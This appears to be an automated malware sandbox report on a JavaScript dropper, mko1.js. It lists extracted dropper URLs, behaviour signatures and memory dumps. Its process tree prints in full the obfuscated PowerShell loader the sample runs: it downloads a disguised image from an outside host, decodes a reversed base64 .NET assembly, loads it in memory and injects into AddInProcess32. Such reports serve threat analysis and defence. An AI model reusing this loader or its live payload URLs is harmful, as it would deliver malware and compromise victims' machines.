Analysis
- user interaction
yes - max time kernel
59s - max time network
59s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
18/07/2026, 06:58
General
- Target mko1.js
- Size 73KB
- Sample260718-hrqmlaey9w
- SHA256 f1e92c458878d2d4cab2463d8b697894cc4f28b038f20afc998e495709d38a21
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
-
exe.dropper
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\mko1.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.reggin/3uZimI6uPwew/gro.selifpm#//:sp##h';$restoredText = $originalText -replace '#', 't';$hiply = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$boxthorn = New-Object System.Net.WebClient;$pipedream = $boxthorn.DownloadData($hiply);$burqini = [System.Text.Encoding]::UTF8.GetString($pipedream);$firebush = '<<BASE64_START>>';$tenterhook = '<<BASE64_END>>';$russet = $burqini.IndexOf($firebush);$puissant = $burqini.IndexOf($tenterhook);$russet -ge 0 -and $puissant -gt $russet;$russet += $firebush.Length;$aphelinus = $puissant - $russet;$thraneens = $burqini.Substring($russet, $aphelinus);$butane = -join ($thraneens.ToCharArray() | ForEach-Object { $_ })[-1..-($thraneens.Length)];$waldsteinia = [System.Convert]::FromBase64String($butane);$signalising = [System.Reflection.Assembly]::Load($waldsteinia);$tesselation = [dnlib.IO.Home].GetMethod('VAI');$tesselation.Invoke($null, @($restoredText, 'reviled', 'reviled', 'reviled', 'AddInProcess32', 'reviled', 'reviled','reviled','reviled','reviled','reviled','reviled','1','reviled','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1328-1-0x00007FFAC183F000-0x00007FFAC1840000-memory.dmp
memory/1328-2-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-3-0x00000221463E0000-0x0000022146402000-memory.dmp
memory/1328-6-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-7-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-8-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-9-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-10-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-11-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-12-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-13-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-15-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp
memory/1328-17-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp